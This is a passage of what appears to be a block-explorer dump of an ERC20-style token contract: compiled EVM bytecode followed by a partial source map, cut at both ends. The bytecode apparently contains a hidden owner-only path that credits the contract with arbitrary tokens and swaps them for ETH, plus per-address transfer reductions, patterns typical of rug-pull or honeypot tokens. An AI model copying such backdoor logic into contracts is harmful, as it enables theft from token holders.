9190611847565b610aa3565b6001905092915050565b60006109ba338484610c6c565b6001905092915050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b09906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b789061197f565b60405180910390fd5b80600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c5f919061159c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca557600080fd5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148015610d2d57508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15610d4157610d3c8183610fa9565b610fa4565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610d8d57600080fd5b600080600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414158015610e1d575043600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b15610e4e57610e4b6103e8610e3d6103e58561123d90919063ffffffff16565b6112b790919063ffffffff16565b90505b81600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e999190611847565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508082610ee89190611847565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3691906116d0565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610f9a919061159c565b60405180910390a3505b505050565b610fd630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610aa3565b81600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156110375761103661199f565b5b6040519080825280602002602001820160405280156110655781602001602082028036833780820191505090505b509050308160008151811061107d5761107c611704565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611124573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114891906119e3565b8160018151811061115c5761115b611704565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426111e691906116d0565b6040518663ffffffff1660e01b8152600401611206959493929190611b13565b600060405180830381600087803b15801561122057600080fd5b505af1158015611234573d6000803e3d6000fd5b50505050505050565b600080830361124f57600090506112b1565b6000828461125d9190611b6d565b905082848261126c9190611bde565b146112ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a390611c81565b60405180910390fd5b809150505b92915050565b60008082116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290611ced565b60405180910390fd5b600082846113099190611bde565b90508091505092915050565b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b60008083601f8401126113445761134361131f565b5b8235905067ffffffffffffffff81111561136157611360611324565b5b60208301915083602082028301111561137d5761137c611329565b5b9250929050565b6000806020838503121561139b5761139a611315565b5b600083013567ffffffffffffffff8111156113b9576113b861131a565b5b6113c58582860161132e565b92509250509250929050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561140b5780820151818401526020810190506113f0565b60008484015250505050565b6000601f19601f8301169050919050565b6000611433826113d1565b61143d81856113dc565b935061144d8185602086016113ed565b61145681611417565b840191505092915050565b6000602082019050818103600083015261147b8184611428565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006114ae82611483565b9050919050565b6114be816114a3565b81146114c957600080fd5b50565b6000813590506114db816114b5565b92915050565b6000819050919050565b6114f4816114e1565b81146114ff57600080fd5b50565b600081359050611511816114eb565b92915050565b6000806040838503121561152e5761152d611315565b5b600061153c858286016114cc565b925050602061154d85828601611502565b9150509250929050565b60008115159050919050565b61156c81611557565b82525050565b60006020820190506115876000830184611563565b92915050565b611596816114e1565b82525050565b60006020820190506115b1600083018461158d565b92915050565b6000806000606084860312156115d0576115cf611315565b5b60006115de868287016114cc565b93505060206115ef868287016114cc565b925050604061160086828701611502565b9150509250925092565b611613816114a3565b82525050565b600060208201905061162e600083018461160a565b92915050565b60006020828403121561164a57611649611315565b5b6000611658848285016114cc565b91505092915050565b6000806040838503121561167857611677611315565b5b6000611686858286016114cc565b9250506020611697858286016114cc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116db826114e1565b91506116e6836114e1565b92508282019050808211156116fe576116fd6116a1565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061173e826114e1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036117705761176f6116a1565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806117c257607f821691505b6020821081036117d5576117d461177b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006118116020836113dc565b915061181c826117db565b602082019050919050565b6000602082019050818103600083015261184081611804565b9050919050565b6000611852826114e1565b915061185d836114e1565b9250828203905081811115611875576118746116a1565b5b92915050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006118d76023836113dc565b91506118e28261187b565b604082019050919050565b60006020820190508181036000830152611906816118ca565b9050919050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006119696025836113dc565b91506119748261190d565b604082019050919050565b600060208201905081810360008301526119988161195c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000815190506119dd816114b5565b92915050565b6000602082840312156119f9576119f8611315565b5b6000611a07848285016119ce565b91505092915050565b6000819050919050565b6000819050919050565b6000611a3f611a3a611a3584611a10565b611a1a565b6114e1565b9050919050565b611a4f81611a24565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a8a816114a3565b82525050565b6000611a9c8383611a81565b60208301905092915050565b6000602082019050919050565b6000611ac082611a55565b611aca8185611a60565b9350611ad583611a71565b8060005b83811015611b06578151611aed8882611a90565b9750611af883611aa8565b925050600181019050611ad9565b5085935050505092915050565b600060a082019050611b28600083018861158d565b611b356020830187611a46565b8181036040830152611b478186611ab5565b9050611b56606083018561160a565b611b63608083018461158d565b9695505050505050565b6000611b78826114e1565b9150611b83836114e1565b9250828202611b91816114e1565b91508282048414831517611ba857611ba76116a1565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611be9826114e1565b9150611bf4836114e1565b925082611c0457611c03611baf565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c60008201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b6000611c6b6022836113dc565b9150611c7682611c0f565b604082019050919050565b60006020820190508181036000830152611c9a81611c5e565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f0000000000600082015250565b6000611cd7601b836113dc565b9150611ce282611ca1565b602082019050919050565b60006020820190508181036000830152611d0681611cca565b905091905056fea2646970667358221220120488b5e1626b6d4ac3874bd2ec7345179d3b8491a431d760991c7e77e9427c64736f6c63430008130033
Deployed Bytecode Sourcemap
1940:4476:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4563:234;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4357:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2191:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4975:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6006:227;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3478:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2047:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3225:203;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2082:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4803:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5890:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1353:152;;;:::i;:::-;;944:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3680:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5639:245;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4195:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4835:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4563:234;4640:6;4635:155;4656:10;;:17;;4652:1;:21;4635:155;;;4700:11;:9;:11::i;:::-;4695:94;;;4776:1;4761:12;:16;;;;:::i;:::-;4720:9;:24;4730:10;;4741:1;4730:13;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4720:24;;;;;;;;;;;;;;;:57;;;;4695:94;4675:3;;;;;:::i;:::-;;;;4635:155;;;;4563:234;;:::o;4357:89::-;4396:13;4429:5;4422:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4357:89;:::o;2191:158::-;2265:4;2282:37;2291:10;2303:7;2312:6;2282:8;:37::i;:::-;2337:4;2330:11;;2191:158;;;;:::o;4975:93::-;5021:7;5048:12;;5041:19;;4975:93;:::o;6006:227::-;6093:4;6110:34;6120:4;6126:9;6137:6;6110:9;:34::i;:::-;6196:6;6163:11;:17;6175:4;6163:17;;;;;;;;;;;;;;;:29;6181:10;6163:29;;;;;;;;;;;;;;;;:39;;6155:48;;;;;;6221:4;6214:11;;6006:227;;;;;:::o;3478:87::-;3521:7;3548:9;;3541:16;;3478:87;:::o;2047:28::-;;;;:::o;3225:203::-;3305:4;3322:76;3331:10;3343:7;3387:10;3352:11;:23;3364:10;3352:23;;;;;;;;;;;;;;;:32;3376:7;3352:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;3322:8;:76::i;:::-;3416:4;3409:11;;3225:203;;;;:::o;2082:60::-;;;;:::o;4803:25::-;;;;;;;;;;;;;:::o;5890:110::-;5947:7;5974:9;:18;5984:7;5974:18;;;;;;;;;;;;;;;;5967:25;;5890:110;;;:::o;1353:152::-;1071:10;1060:21;;:7;:5;:7::i;:::-;:21;;;1052:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1460:1:::1;1423:40;;1444:6;::::0;::::1;;;;;;;;1423:40;;;;;;;;;;;;1491:1;1474:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1353:152::o:0;944:71::-;990:7;1007:6;;;;;;;;;;;1000:13;;944:71;:::o;3680:87::-;3719:13;3752:7;3745:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3680:87;:::o;5639:245::-;5712:4;5770:6;5737:11;:23;5749:10;5737:23;;;;;;;;;;;;;;;:29;5761:4;5737:29;;;;;;;;;;;;;;;;:39;;5729:48;;;;;;5788:66;5797:10;5809:4;5847:6;5815:11;:23;5827:10;5815:23;;;;;;;;;;;;;;;:29;5839:4;5815:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;5788:8;:66::i;:::-;5872:4;5865:11;;5639:245;;;;:::o;4195:156::-;4264:4;4281:40;4291:10;4303:9;4314:6;4281:9;:40::i;:::-;4339:4;4332:11;;4195:156;;;;:::o;4835:134::-;4907:7;4934:11;:18;4946:5;4934:18;;;;;;;;;;;;;;;:27;4953:7;4934:27;;;;;;;;;;;;;;;;4927:34;;4835:134;;;;:::o;6313:100::-;6357:4;6395:10;;;;;;;;;;;6381:24;;:10;:24;;;6374:31;;6313:100;:::o;5074:329::-;5187:1;5168:21;;:7;:21;;;5160:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5256:1;5239:19;;:5;:19;;;5231:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;5341:6;5311:11;:18;5323:5;5311:18;;;;;;;;;;;;;;;:27;5330:7;5311:27;;;;;;;;;;;;;;;:36;;;;5379:7;5363:32;;5372:5;5363:32;;;5388:6;5363:32;;;;;;:::i;:::-;;;;;;;;5074:329;;;:::o;2435:604::-;2550:1;2532:20;;:6;:20;;;2524:29;;;;;;2582:10;;;;;;;;;;;2568:24;;:10;:24;;;:46;;;;;2606:8;2596:18;;:6;:18;;;2568:46;2564:468;;;2617:32;2632:6;2640:8;2617:14;:32::i;:::-;2564:468;;;2676:9;:17;2686:6;2676:17;;;;;;;;;;;;;;;;2666:6;:27;;2658:36;;;;;;2709:17;2770:1;2749:9;:17;2759:6;2749:17;;;;;;;;;;;;;;;;:22;;:59;;;;;2796:12;2775:9;:17;2785:6;2775:17;;;;;;;;;;;;;;;;:33;;2749:59;2745:105;;;2823:25;2843:4;2823:15;2834:3;2823:6;:10;;:15;;;;:::i;:::-;:19;;:25;;;;:::i;:::-;2811:37;;2745:105;2904:6;2884:9;:17;2894:6;2884:17;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;2864:9;:17;2874:6;2864:17;;;;;;;;;;;;;;;:46;;;;2957:9;2948:6;:18;;;;:::i;:::-;2925:9;:19;2935:8;2925:19;;;;;;;;;;;;;;;;:41;;;;;;;:::i;:::-;;;;;;;;3003:8;2986:34;;2995:6;2986:34;;;3013:6;2986:34;;;;;;:::i;:::-;;;;;;;;2657:375;2564:468;2435:604;;;:::o;3773:416::-;3844:56;3861:4;3876:14;;;;;;;;;;;3893:6;3844:8;:56::i;:::-;3938:6;3911:9;:24;3929:4;3911:24;;;;;;;;;;;;;;;:33;;;;3955:21;3993:1;3979:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3955:40;;4024:4;4006;4011:1;4006:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;4041:14;;;;;;;;;;;:19;;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4031:4;4036:1;4031:7;;;;;;;;:::i;:::-;;;;;;;:31;;;;;;;;;;;4073:14;;;;;;;;;;;:65;;;4139:6;4147:1;4150:4;4156:2;4178;4160:15;:20;;;;:::i;:::-;4073:108;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3833:356;3773:416;;:::o;278:223::-;336:7;365:1;360;:6;356:23;;376:1;369:8;;;;356:23;389:9;405:1;401;:5;;;;:::i;:::-;389:17;;434:1;429;425;:5;;;;:::i;:::-;:10;417:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;492:1;485:8;;;278:223;;;;;:::o;697:178::-;755:7;787:1;783;:5;775:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;831:9;847:1;843;:5;;;;:::i;:::-;831:17;;866:1;859:8;;;697:178;;;;:::o;88:117:1:-;197:1;194;187:12;211:117;320:1;317;310:12;334:117;443:1;440;433:12;457:117;566:1;563;556:12;580:117;689:1;686;679:12;720:568;793:8;803:6;853:3;846:4;838:6;834:17;830:27;820:122;;861:79;;:::i;:::-;820:122;974:6;961:20;951:30;;1004:18;996:6;993:30;990:117;;;1026:79;;:::i;:::-;990:117;1140:4;1132:6;1128:17;1116:29;;1194:3;1186:4;1178:6;1174:17;1164:8;1160:32;1157:41;1154:128;;;1201:79;;:::i;:::-;1154:128;720:568;;;;;:::o;1294:559::-;1380:6;1388;1437:2;1425:9;1416:7;1412:23;1408:32;1405:119;;;1443:79;;:::i;:::-;1405:119;1591:1;1580:9;1576:17;1563:31;1621:18;1613:6;1610:30;1607:117;;;1643:79;;:::i;:::-;1607:117;1756:80;1828:7;1819:6;1808:9;1804:22;1756:80;:::i;:::-;1738:98;;;;1534:312;1294:559;;;;;:::o;1859:99::-;1911:6;1945:5;1939:12;1929:22;;1859:99;;;:::o;1964:169::-;2048:11;2082:6;2077:3;2070:19;2122:4;2117:3;2113:14;2098:29;;1964:169;;;;:::o;2139:246::-;2220:1;2230:113;2244:6;2241:1;2238:13;2230:113;;;2329:1;2324:3;2320:11;2314:18;2310:1;2305:3;2301:11;2294:39;2266:2;2263:1;2259:10;2254:15;;2230:113;;;2377:1;2368:6;2363:3;2359:16;2352:27;2201:184;2139:246;;;:::o;2391:102::-;2432:6;2483:2;2479:7;2474:2;2467:5;2463:14;2459:28;2449:38;;2391:102;;;:::o;2499:377::-;2587:3;2615:39;2648:5;2615:39;:::i;:::-;2670:71;2734:6;2729:3;2670:71;:::i;:::-;2663:78;;2750:65;2808:6;2803:3;2796:4;2789:5;2785:16;2750:65;:::i;:::-;2840:29;2862:6;2840:29;:::i;:::-;2835:3;2831:39;2824:46;;2591:285;2499:377;;;;:::o;2882:313::-;2995:4;3033:2;3022:9;3018:18;3010:26;;3082:9;3076:4;3072:20;3068:1;3057:9;3053:17;3046:47;3110:78;3183:4;3174:6;3110:78;:::i;:::-;3102:86;;2882:313;;;;:::o;3201:126::-;3238:7;3278:42;3271:5;3267:54;3256:65;;3201:126;;;:::o;3333:96::-;3370:7;3399:24;3417:5;3399:24;:::i;:::-;3388:35;;3333:96;;;:::o;3435:122::-;3508:24;3526:5;3508:24;:::i;:::-;3501:5;3498:35;3488:63;;3547:1;3544;3537:12;3488:63;3435:122;:::o;3563:139::-;3609:5;3647:6;3634:20;3625:29;;3663:33;3690:5;3663:33;:::i;:::-;3563:139;;;;:::o;3708:77::-;3745:7;3774:5;3763:16;;3708:77;;;:::o;3791:122::-;3864:24;3882:5;3864:24;:::i;:::-;3857:5;3854:35;3844:63;;3903:1;3900;3893:12;3844:63;3791:122;:::o;3919:139::-;3965:5;4003:6;3990:20;3981:29;;4019:33;4046:5;4019:33;:::i;:::-;3919:139;;;;:::o;4064:474::-;4132:6;4140;4189:2;4177:9;4168:7;4164:23;4160:32;4157:119;;;4195:79;;:::i;:::-;4157:119;4315:1;4340:53;4385:7;4376:6;4365:9;4361:22;4340:53;:::i;:::-;4330:63;;4286:117;4442:2;4468:53;4513:7;4504:6;4493:9;4489:22;4468:53;:::i;:::-;4458:63;;4413:118;4064:474;;;;;:::o;4544:90::-;4578:7;4621:5;4614:13;4607:21;4596:32;;4544:90;;;:::o;4640:109::-;4721:21;4736:5;4721:21;:::i;:::-;4716:3;4709:34;4640:109;;:::o;4755:210::-;4842:4;4880:2;4869:9;4865:18;4857:26;;4893:65;4955:1;4944:9;4940:17;4931:6;4893:65;:::i;:::-;4755:210;;;;:::o;4971:118::-;5058:24;5076:5;5058:24;:::i;:::-;5053:3;5046:37;4971:118;;:::o;5095:222::-;5188:4;5226:2;5215:9;5211:18;5203:26;;5239:71;5307:1;5296:9;5292:17;5283:6;5239:71;:::i;:::-;5095:222;;;;:::o;5323:619::-;5400:6;5408;5416;5465:2;5453:9;5444:7;5440:23;5436:32;5433:119;;;5471:79;;:::i;:::-;5433:119;5591:1;5616:53;5661:7;5652:6;5641:9;5637:22;5616:53;:::i;:::-;5606:63;;5562:117;5718:2;5744:53;5789:7;5780:6;5769:9;5765:22;5744:53;:::i;:::-;5734:63;;5689:118;5846:2;5872:53;5917:7;5908:6;5897:9;5893:22;5872:53;:::i;:::-;5862:63;;5817:118;5323:619;;;;;:::o;5948:118::-;6035:24;6053:5;6035:24;:::i;:::-;6030:3;6023:37;5948:118;;:::o;6072:222::-;6165:4;6203:2;6192:9;6188:18;6180:26;;6216:71;6284:1;6273:9;6269:17;6260:6;6216:71;:::i;:::-;6072:222;;;;:::o;6300:329::-;6359:6;6408:2;6396:9;6387:7;6383:23;6379:32;6376:119;;;6414:79;;:::i;:::-;6376:119;6534:1;6559:53;6604:7;6595:6;6584:9;6580:22;6559:53;:::i;:::-;6549:63;;6505:117;6300:329;;;;:::o;6635:474::-;6703:6;6711;6760:2;6748:9;6739:7;6735:23;6731:32;6728:119;;;6766:79;;:::i;:::-;6728:119;6886:1;6911:53;6956:7;6947:6;6936:9;6932:22;6911:53;:::i;:::-;6901:63;;6857:117;7013:2;7039:53;7084:7;7075:6;7064:9;7060:22;7039:53;:::i;:::-;7029:63;;6984:118;6635:474;;;;;:::o;7115:180::-;7163:77;7160:1;7153:88;7260:4;7257:1;7250:15;7284:4;7281:1;7274:15;7301:191;7341:3;7360:20;7378:1;7360:20;:::i;:::-;7355:25;;7394:20;7412:1;7394:20;:::i;:::-;7389:25;;7437:1;7434;7430:9;7423:16;;7458:3;7455:1;7452:10;7449:36;;;7465:18;;:::i;:::-;7449:36;7301:191;;;;:::o;7498:180::-;7546:77;7543:1;7536:88;7643:4;7640:1;7633:15;7667:4;7664:1;7657:15;7684:233;7723:3;7746:24;7764:5;7746:24;:::i;:::-;7737:33;;7792:66;7785:5;7782:77;7779:103;;7862:18;;:::i;:::-;7779:103;7909:1;7902:5;7898:13;7891:20;;7684:233;;;:::o;7923:180::-;7971:77;7968:1;7961:88;8068:4;8065:1;8058:15;8092:4;8089:1;8082:15;8109:320;8153:6;8190:1;8184:4;8180:12;8170:22;;8237:1;8231:4;8227:12;8258:18;8248:81;;8314:4;8306:6;8302:17;8292:27;;8248:81;8376:2;8368:6;8365:14;8345:18;8342:38;8339:84;;8395:18;;:::i;:::-;8339:84;8160:269;8109:320;;;:::o;8435:182::-;8575:34;8571:1;8563:6;8559:14;8552:58;8435:182;:::o;8623:366::-;8765:3;8786:67;8850:2;8845:3;8786:67;:::i;:::-;8779:74;;8862:93;8951:3;8862:93;:::i;:::-;8980:2;8975:3;8971:12;8964:19;;8623:366;;;:::o;8995:419::-;9161:4;9199:2;9188:9;9184:18;9176:26;;9248:9;9242:4;9238:20;9234:1;9223:9;9219:17;9212:47;9276:131;9402:4;9276:131;:::i;:::-;9268:139;;8995:419;;;:::o;9420:194::-;9460:4;9480:20;9498:1;9480:20;:::i;:::-;9475:25;;9514:20;9532:1;9514:20;:::i;:::-;9509:25;;9558:1;9555;9551:9;9543:17;;9582:1;9576:4;9573:11;9570:37;;;9587:18;;:::i;:::-;9570:37;9420:194;;;;:::o;9620:222::-;9760:34;9756:1;9748:6;9744:14;9737:58;9829:5;9824:2;9816:6;9812:15;9805:30;9620:222;:::o;9848:366::-;9990:3;10011:67;10075:2;10070:3;10011:67;:::i;:::-;10004:74;;10087:93;10176:3;10087:93;:::i;:::-;10205:2;10200:3;10196:12;10189:19;;9848:366;;;:::o;10220:419::-;10386:4;10424:2;10413:9;10409:18;10401:26;;10473:9;10467:4;10463:20;10459:1;10448:9;10444:17;10437:47;10501:131;10627:4;10501:131;:::i;:::-;10493:139;;10220:419;;;:::o;10645:224::-;10785:34;10781:1;10773:6;10769:14;10762:58;10854:7;10849:2;10841:6;10837:15;10830:32;10645:224;:::o;10875:366::-;11017:3;11038:67;11102:2;11097:3;11038:67;:::i;:::-;11031:74;;11114:93;11203:3;11114:93;:::i;:::-;11232:2;11227:3;11223:12;11216:19;;10875:366;;;:::o;11247:419::-;11413:4;11451:2;11440:9;11436:18;11428:26;;11500:9;11494:4;11490:20;11486:1;11475:9;11471:17;11464:47;11528:131;11654:4;11528:131;:::i;:::-;11520:139;;11247:419;;;:::o;11672:180::-;11720:77;11717:1;11710:88;11817:4;11814:1;11807:15;11841:4;11838:1;11831:15;11858:143;11915:5;11946:6;11940:13;11931:22;;11962:33;11989:5;11962:33;:::i;:::-;11858:143;;;;:::o;12007:351::-;12077:6;12126:2;12114:9;12105:7;12101:23;12097:32;12094:119;;;12132:79;;:::i;:::-;12094:119;12252:1;12277:64;12333:7;12324:6;12313:9;12309:22;12277:64;:::i;:::-;12267:74;;12223:128;12007:351;;;;:::o;12364:85::-;12409:7;12438:5;12427:16;;12364:85;;;:::o;12455:60::-;12483:3;12504:5;12497:12;;12455:60;;;:::o;12521:158::-;12579:9;12612:61;12630:42;12639:32;12665:5;12639:32;:::i;:::-;12630:42;:::i;:::-;12612:61;:::i;:::-;12599:74;;12521:158;;;:::o;12685:147::-;12780:45;12819:5;12780:45;:::i;:::-;12775:3;12768:58;12685:147;;:::o;12838:114::-;12905:6;12939:5;12933:12;12923:22;;12838:114;;;:::o;12958:184::-;13057:11;13091:6;13086:3;13079:19;13131:4;13126:3;13122:14;13107:29;;12958:184;;;;:::o;13148:132::-;13215:4;13238:3;13230:11;;13268:4;13263:3;13259:14;13251:22;;13148:132;;;:::o;13286:108::-;13363:24;13381:5;13363:24;:::i;:::-;13358:3;13351:37;13286:108;;:::o;13400:179::-;13469:10;13490:46;13532:3;13524:6;13490:46;:::i;:::-;13568:4;13563:3;13559:14;13545:28;;13400:179;;;;:::o;13585:113::-;13655:4;13687;13682:3;13678:14;13670:22;;13585:113;;;:::o;13734:732::-;13853:3;13882:54;13930:5;13882:54;:::i;:::-;13952:86;14031:6;14026:3;13952:86;:::i;:::-;13945:93;;14062:56;14112:5;14062:56;:::i;:::-;14141:7;14172:1;14157:284;14182:6;14179:1;14176:13;14157:284;;;14258:6;14252:13;14285:63;14344:3;14329:13;14285:63;:::i;:::-;14278:70;;14371:60;14424:6;14371:60;:::i;:::-;14361:70;;14217:224;14204:1;14201;14197:9;14192:14;;14157:284;;;14161:14;14457:3;14450:10;;13858:608;;;13734:732;;;;:::o;14472:831::-;14735:4;14773:3;14762:9;14758:19;14750:27;;14787:71;14855:1;14844:9;14840:17;14831:6;14787:71;:::i;:::-;14868:80;14944:2;14933:9;14929:18;14920:6;14868:80;:::i;:::-;14995:9;14989:4;14985:20;14980:2;14969:9;14965:18;14958:48;15023:108;15126:4;15117:6;15023:108;:::i;:::-;15015:116;;15141:72;15209:2;15198:9;15194:18;15185:6;15141:72;:::i;:::-;15223:73;15291:3;15280:9;15276:19;15267:6;15223:73;:::i;:::-;14472:831;;;;;;;;:::o;15309:410::-;15349:7;15372:20;15390:1;15372:20;:::i;:::-;15367:25;;15406:20;15424:1;15406:20;:::i;:::-;15401:25;;15461:1;15458;15454:9;15483:30;15501:11;15483:30;:::i;:::-;15472:41;;15662:1;15653:7;15649:15;15646:1;15643:22;15623:1;15616:9;15596:83;15573:139;;15692:18;;:::i;:::-;15573:139;15357:362;15309:410;;;;:::o;15725:180::-;15773:77;15770:1;15763:88;15870:4;15867:1;15860:15;15894:4;15891:1;15884:15;15911:185;15951:1;15968:20;15986:1;15968:20;:::i;:::-;15963:25;;16002:20;16020:1;16002:20;:::i;:::-;15997:25;;16041:1;16031:35;;16046:18;;:::i;:::-;16031:35;16088:1;16085;16081:9;16076:14;;15911:185;;;;:::o;16102:221::-;16242:34;16238:1;16230:6;16226:14;16219:58;16311:4;16306:2;16298:6;16294:15;16287:29;16102:221;:::o;16329:366::-;16471:3;16492:67;16556:2;16551:3;16492:67;:::i;:::-;16485:74;;16568:93;16657:3;16568:93;:::i;:::-;16686:2;16681:3;16677:12;16670:19;;16329:366;;;:::o;16701:419::-;16867:4;16905:2;16894:9;16890:18;16882:26;;16954:9;16948:4;16944:20;16940:1;16929:9;16925:17;16918:47;16982:131;17108:4;16982:131;:::i;:::-;16974:139;;16701:419;;;:::o;17126:177::-;17266:29;17262:1;17254:6;17250:14;17243:53;17126:177;:::o;17309:366::-;17451:3;17472:67;17536:2;17531:3;17472:67;:::i;:::-;17465:74;;17548:93;17637:3;17548:93;:::i;:::-;17666:2;17661:3;17657:12;17650:19;;17309:366;;;:::o;17681:419::-;17847:4;17885:2;17874:9;17870:18;17862:26;;17934:9;17928: